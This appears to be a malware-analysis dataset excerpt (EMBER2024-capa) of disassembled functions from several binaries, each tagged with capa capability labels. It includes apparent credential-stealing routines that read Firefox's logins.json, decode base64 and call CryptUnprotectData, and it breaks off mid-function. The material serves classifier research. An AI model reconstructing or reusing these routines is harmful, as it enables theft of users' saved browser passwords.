joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18008caa0
Capabilities:
Decode data using base64 via dword translation table
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov ecx, edx
mov r15, r8
mov esi, edx
call fcn.1800d5644
mov r8d, esi
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.1800d0490
xor ebx, ebx
test sil, 3
jne 0x18008cb71
xor r8d, r8d
test esi, esi
je 0x18008cb71
lea r9, [0x180130920]
lea r10, [0x1801157b0]
movsx rcx, byte [r9]
cmp cl, 0x3d
je 0x18008cb71
lea eax, [rcx - 0x2b]
cmp al, 0x4f
ja 0x18008cb6f
movzx edx, byte [rcx + r10]
cmp dl, 0xff
je 0x18008cb6f
mov eax, r8d
and eax, 3
je 0x18008cb5c
sub eax, 1
je 0x18008cb4a
sub eax, 1
je 0x18008cb38
cmp eax, 1
jne 0x18008cb62
or byte [rbx + rdi], dl
inc ebx
jmp 0x18008cb62
movzx eax, dl
shr al, 2
and al, 0xf
or byte [rbx + rdi], al
inc ebx
shl dl, 6
jmp 0x18008cb5f
movzx eax, dl
shr al, 4
and al, 3
or byte [rbx + rdi], al
inc ebx
shl dl, 4
jmp 0x18008cb5f
shl dl, 2
mov byte [rbx + rdi], dl
inc r8d
inc r9
cmp r8d, esi
jb 0x18008cb00
jmp 0x18008cb71
xor ebx, ebx
lea r14d, [rbx - 5]
mov ecx, r14d
mov ebp, r14d
call fcn.1800d5644
mov r8d, r14d
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.1800d0490
cmp ebx, 5
jbe 0x18008cba4
lea rdx, [rdi + 5]
mov r8d, ebp
mov rcx, rsi
call fcn.1800d06b0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], 0
xor edx, edx
mov dword [rsp + 0x40], r14d
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x18008cc2d
mov r9d, dword [rsp + 0x50]
test r9d, r9d
je 0x18008cc11
mov r8, qword [rsp + 0x58]
mov rcx, r15
sub r8, r15
mov edx, r9d
nop dword [rax + rax]
movzx eax, byte [r8 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x18008cc00
mov rcx, rdi
mov byte [r9 + r15], 0
call fcn.1800d5630
mov rcx, rsi
call fcn.1800d5630
mov eax, 1
jmp 0x18008cc2f
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1800ccd60
mov rbx, qword [rsp + 0xa0]
add rsp, 0x70
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x180090a30
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x70
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov r8, qword [rcx + 0x10]
xor esi, esi
mov rbx, rcx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], sil
lea rdx, [r8 + 0xc]
cmp rdx, 0xf
jbe 0x180090a82
lea rcx, [rsp + 0x40]
call fcn.1800c6590
mov r8, qword [rbx + 0x10]
mov qword [rsp + 0x50], rsi
cmp qword [rbx + 0x18], 0x10
mov rdx, rbx
jb 0x180090a8f
mov rdx, qword [rbx]
lea rcx, [rsp + 0x40]
call fcn.1800bf920
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rsp + 0x40]
call fcn.1800bf920
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.1800bfa40
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x180090afa
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090af5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090c51
call fcn.1800cd020
cmp qword [rbx + 0x18], 0x10
mov rcx, rbx
jb 0x180090b07
mov rcx, qword [rbx]
lea rdx, [0x180116c50]
call fcn.1800d8f38
test rax, rax
je 0x180090bfe
mov rcx, rax
mov qword [rsp + 0x88], rdi
call fcn.1800d8fc8
mov ecx, 0x186a0
call fcn.1800d5644
cmp qword [rbx + 0x18], 0x10
mov rdi, rax
mov rcx, rbx
jb 0x180090b46
mov rcx, qword [rbx]
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 4
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x180090b8f
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], rsi
mov r8d, 0x186a0
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x180090bc9
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x180090bc4
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180090c45
mov rcx, r8
call fcn.1800cd020
mov rax, rdi
mov qword [rbx + 0x10], rsi
mov rdi, qword [rsp + 0x88]
mov qword [rbx + 0x18], 0xf
mov byte [rbx], sil
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1800ccd60
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rsi
ret
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x180090c34
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x180090c2f
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180090c4b
mov rcx, r8
call fcn.1800cd020
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], sil
jmp 0x180090be3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
Function at 0x1800a97a0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x450
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rdi, r8
mov rsi, rcx
mov r8d, 0x400
lea rcx, [rsp + 0x40]
xor edx, edx
mov rbx, r9
call fcn.1800d0490
cmp qword [rdi + 0x18], 0x10
mov rdx, rdi
mov dword [rsp + 0x38], 0x400
jb 0x1800a97ed
mov rdx, qword [rdi]
lea rax, [rsp + 0x30]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1800a9843
cmp qword [rbx + 0x18], 0x10
mov rdx, rbx
jb 0x1800a981e
mov rdx, qword [rbx]
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x40]
mov qword [rsi + 0x10], 0
mov r8, 0xffffffffffffffff
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800a9870
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.1800c0190
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1800a98c1
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800a98bc
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800a993b
mov rcx, r8
call fcn.1800cd020
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1800a990a
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1800a9905
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800a993b
mov rcx, r8
call fcn.1800cd020
mov qword [rbx + 0x10], 0
mov rax, rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.1800ccd60
add rsp, 0x450
pop rdi
pop rsi
pop rbx
ret
call fcn.1800dce48
int3
Function at 0x1800ad330
Capabilities:
Encrypt data using dpapi

Disassembly:
push rbx
push rsi
sub rsp, 0x88
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov r8, qword [0x18012daa8]
mov rsi, rcx
mov rcx, qword [0x18012dab0]
xor ebx, ebx
cmp r8, rcx
jne 0x1800ad371
mov qword [rsi], rbx
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rbx
jmp 0x1800ad525
mov qword [rsp + 0xa8], rbp
xorps xmm0, xmm0
mov qword [rsp + 0xb0], rdi
mov r10, rbx
mov qword [rsp + 0x80], r14
mov rdi, rbx
mov r14, rcx
mov qword [rsp + 0x70], rbx
sub r14, r8
movdqu xmmword [rsp + 0x60], xmm0
sub r14, 1
je 0x1800ad3f7
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x1800ad545
mov rdx, r14
lea rcx, [rsp + 0x60]
call fcn.1800c4460
mov rbp, qword [rsp + 0x60]
mov r8, r14
mov rcx, rbp
xor edx, edx
call fcn.1800d0490
mov rcx, qword [0x18012dab0]
lea r9, [r14 + rbp]
mov r8, qword [0x18012daa8]
mov r10, rbp
mov rdi, qword [rsp + 0x70]
jmp 0x1800ad401
mov r9, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
mov edx, 1
sub rcx, r8
sub rcx, rdx
je 0x1800ad42d
nop
movzx eax, byte [r8 + rdx]
mov byte [r10 + rdx - 1], al
lea rdx, [rdx + 1]
sub rcx, 1
je 0x1800ad42d
mov r8, qword [0x18012daa8]
jmp 0x1800ad410
sub r9d, ebp
mov qword [rsp + 0x58], rbp
inc r9d
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], r9d
xor r8d, r8d
xor r9d, r9d
mov dword [rsp + 0x28], ebx
xor edx, edx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1800ad4ce
mov rcx, rbp
mov qword [rsp + 0x68], rcx
cmp dword [rsp + 0x40], ebx
jbe 0x1800ad4c1
nop word [rax + rax]
mov r8d, ebx
add r8, qword [rsp + 0x48]
cmp rcx, rdi
je 0x1800ad49d
movzx eax, byte [r8]
mov byte [rcx], al
inc rcx
mov qword [rsp + 0x68], rcx
jmp 0x1800ad4b4
mov rdx, rcx
lea rcx, [rsp + 0x60]
call fcn.1800c0ae0
mov rcx, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
inc ebx
cmp ebx, dword [rsp + 0x40]
jb 0x1800ad480
mov rbp, qword [rsp + 0x60]
mov qword [rsi], rbp
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdi
jmp 0x1800ad50d
mov qword [rsi], rbx
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rbx
test rbp, rbp
je 0x1800ad50d
sub rdi, rbp
mov rax, rbp
cmp rdi, 0x1000
jb 0x1800ad502
mov rbp, qword [rbp - 8]
add rdi, 0x27
sub rax, rbp
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad53f
mov rdx, rdi
mov rcx, rbp
call fcn.1800cd020
mov rdi, qword [rsp + 0xb0]
mov rbp, qword [rsp + 0xa8]
mov r14, qword [rsp + 0x80]
mov rax, rsi
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1800ccd60
add rsp, 0x88
pop rsi
pop rbx
ret
call fcn.1800dce48
int3
call fcn.1800c2b00
int3
Function at 0x1800ad550
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x258
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rsp + 0x240], rax
xor r13d, r13d
mov rbx, r8
mov rsi, rdx
mov r12, rcx
cmp r8, r9
je 0x1800ad636
mov r15, qword [r9]
mov r14, qword [r9 + 8]
mov rdi, qword [r8]
sub r14, r15
mov rdx, qword [r8 + 0x10]
sub rdx, rdi
cmp r14, rdx
jbe 0x1800ad620
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x1800ad71d
mov rcx, rdx
shr rcx, 1
sub rax, rcx
cmp rdx, rax
jbe 0x1800ad5ca
mov rbp, r14
jmp 0x1800ad5d5
lea rbp, [rcx + rdx]
cmp rbp, r14
cmovb rbp, r14
test rdi, rdi
je 0x1800ad612
cmp rdx, 0x1000
jb 0x1800ad5ff
mov rcx, qword [rdi - 8]
add rdx, 0x27
sub rdi, rcx
lea rax, [rdi - 8]
cmp rax, 0x1f
ja 0x1800ad723
mov rdi, rcx
mov rcx, rdi
call fcn.1800cd020
mov qword [rbx], r13
mov qword [rbx + 8], r13
mov qword [rbx + 0x10], r13
mov rdx, rbp
mov rcx, rbx
call fcn.1800c4460
mov rdi, qword [rbx]
mov r8, r14
mov rdx, r15
mov rcx, rdi
call fcn.1800d06b0
lea rax, [r14 + rdi]
mov qword [rbx + 8], rax
cmp qword [rsi + 0x18], 0x10
mov rdx, rsi
mov dword [rsp + 0x34], 0x200
jb 0x1800ad64b
mov rdx, qword [rsi]
lea rax, [rsp + 0x34]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
lea rax, [rsp + 0x40]
mov rcx, r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1800ad6b4
mov rdi, r13
cmp dword [rsp + 0x34], edi
jbe 0x1800ad6b4
nop dword [rax + rax]
mov rdx, qword [rbx + 8]
movzx eax, byte [rsp + rdi + 0x40]
mov byte [rsp + 0x30], al
cmp rdx, qword [rbx + 0x10]
je 0x1800ad69b
mov byte [rdx], al
inc qword [rbx + 8]
jmp 0x1800ad6a8
lea r8, [rsp + 0x30]
mov rcx, rbx
call fcn.1800c0ae0
mov eax, dword [rsp + 0x34]
inc rdi
cmp rdi, rax
jb 0x1800ad680
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x1800ad6ea
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x1800ad6e5
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800ad723
mov rcx, r8
call fcn.1800cd020
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], 0xf
mov byte [rsi], r13b
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1800ccd60
add rsp, 0x258
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
call fcn.1800c2b00
int3
call fcn.1800dce48
int3
Function at 0x1800b48e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rdi, rcx
lea rdx, [0x18012b198]
lea rcx, [rbp + 7]
call fcn.1800bfad0
mov rdx, rax
lea rcx, [rbp - 0x19]
call fcn.180089770
lea rcx, [rbp - 0x39]
mov rbx, rax
call fcn.18008c360
mov r8, qword [rbx + 0x10]
mov rcx, rax
mov rdx, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rax, rdx
sub rax, r9
cmp r8, rax
jbe 0x1800b4971
mov rax, qword [rbx + 0x18]
sub rax, r8
cmp rax, r9
jb 0x1800b4971
cmp rdx, 0x10
jb 0x1800b4964
mov rcx, qword [rcx]
mov r8, rcx
mov rcx, rbx
call fcn.1800c47f0
jmp 0x1800b4983
cmp qword [rbx + 0x18], 0x10
jb 0x1800b497b
mov rbx, qword [rbx]
mov rdx, rbx
call fcn.1800bf920
movups xmm0, xmmword [rax]
xor esi, esi
movups xmmword [rbp + 0x27], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x37], xmm1
mov byte [rax], sil
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rsi
mov rdx, qword [rbp - 0x21]
cmp rdx, 0x10
jb 0x1800b49de
mov rcx, qword [rbp - 0x39]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b49d9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b4b22
call fcn.1800cd020
mov rdx, qword [rbp - 1]
mov qword [rbp - 0x29], rsi
mov qword [rbp - 0x21], 0xf
mov byte [rbp - 0x39], 0
cmp rdx, 0x10
jb 0x1800b4a29
mov rcx, qword [rbp - 0x19]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b4a24
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b4b22
call fcn.1800cd020
cmp qword [rbp + 0x3f], 0x10
lea rcx, [rbp + 0x27]
cmovae rcx, qword [rbp + 0x27]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1800b4a6d
test al, 0x10
je 0x1800b4a6d
mov rdx, rdi
lea rcx, [rbp + 7]
call fcn.1800bfad0
lea rdx, [rbp + 0x27]
mov rbx, rax
lea rcx, [rbp - 0x19]
call fcn.1800bfad0
mov rcx, rax
mov rdx, rbx
call fcn.1800b3450
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0x10
jb 0x1800b4aa8
mov rcx, qword [rbp + 0x27]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b4aa3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b4b28
call fcn.1800cd020
mov rdx, qword [rdi + 0x18]
mov qword [rbp + 0x37], rsi
mov qword [rbp + 0x3f], 0xf
mov byte [rbp + 0x27], 0
cmp rdx, 0x10
jb 0x1800b4aee
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800b4ae9
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800b4b28
mov rcx, r8
call fcn.1800cd020
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1800ccd60
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1800dce48
int3
call fcn.1800dce48
int3
Function at 0x1800c1570
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x1800c15a4
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x1800c1590
ret
Function at 0x1800e6030
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1800e6050
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1800dc00c
or eax, 0xffffffff
jmp 0x1800e6052
xor eax, eax
add rsp, 0x28
ret

Function at 0x1800e7720
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x1800e76fd
call fcn.1800dc07c
mov dword [rax], 0x16
call fcn.1800dce28
or eax, 0xffffffff
jmp 0x1800e771a
sub dword [rcx + 0x10], 1
jns 0x1800e770c
add rsp, 0x28
jmp 0x1800f23a4
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x1800e76dc
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rdi, rcx
test rcx, rcx
jne 0x1800f23d6
call fcn.1800dc07c
mov dword [rax], 0x16
call fcn.1800dce28
jmp 0x1800f24f3
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1800f24f3
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x1800f24f3
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x1800f2405
lock or dword [rcx + 0x14], 0x10
jmp 0x1800f24f3
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x1800f2419
call fcn.1800f52ec
mov rbx, qword [rdi + 8]
mov rcx, rdi
mov qword [rdi], rbx
call fcn.1800e5cc0
mov r8d, dword [rdi + 0x20]
mov ecx, eax
mov rdx, rbx
call fcn.1800f4298
mov dword [rdi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x1800f24e1
mov eax, dword [rdi + 0x14]
or esi, 0xffffffff
test al, 6
jne 0x1800f24ac
mov rcx, rdi
call fcn.1800e5cc0
cmp eax, esi
je 0x1800f2497
mov rcx, rdi
call fcn.1800e5cc0
cmp eax, 0xfffffffe
je 0x1800f2497
mov rcx, rdi
call fcn.1800e5cc0
movsxd rbx, eax
lea r14, [0x18012d4e0]
mov rcx, rdi
sar rbx, 6
call fcn.1800e5cc0
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x1800f249e
lea rdx, [0x180128460]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x1800f24ac
lock or dword [rdi + 0x14], 0x20
cmp dword [rdi + 0x20], 0x200
jne 0x1800f24d0
mov eax, dword [rdi + 0x14]
shr eax, 6
test al, 1
je 0x1800f24d0
mov eax, dword [rdi + 0x14]
shr eax, 8
test al, 1
jne 0x1800f24d0
mov dword [rdi + 0x20], 0x1000
add dword [rdi + 0x10], esi
mov rax, qword [rdi]
movzx esi, byte [rax]
inc rax
mov qword [rdi], rax
jmp 0x1800f24f6
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rdi + 0x14], eax
and dword [rdi + 0x10], 0
or esi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, esi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140002d10
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140004260
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140004260
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002d80
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400090a4]
mov rbx, rcx
test esi, esi
jle 0x140002eb0
mov rax, qword [0x1400090a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002dcb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002e55
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002db0
mov rcx, rbx
call fcn.1400037d0
mov rdi, rax
test rax, rax
je 0x140002ed2
mov rax, qword [0x1400090a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140003910
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400090a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002eb7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002e4e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002e60
add dword [0x1400090a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400090a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002e4e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002d10
nop dword [rax]
xor esi, esi
jmp 0x140002dd8
mov rax, qword [0x1400090a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002d10
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002d10
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003440
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140009100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400090e0]
test rbx, rbx
je 0x14000349c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003493
test rsi, rsi
je 0x140003493
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003478
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400037d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140006a20]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400037f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400037f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400037f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000384d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003844
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400037f0
add rax, 0x28
cmp rax, r9
jne 0x140003830
xor eax, eax
ret

Function at 0x140003850
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006a20]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000386f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003878
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000386f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003910
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006a20]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000392f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003938
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x417bc0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x417d6b
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00432580
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
nop
jne 0x417c2e
mov rax, qword [rsp + 0x58]
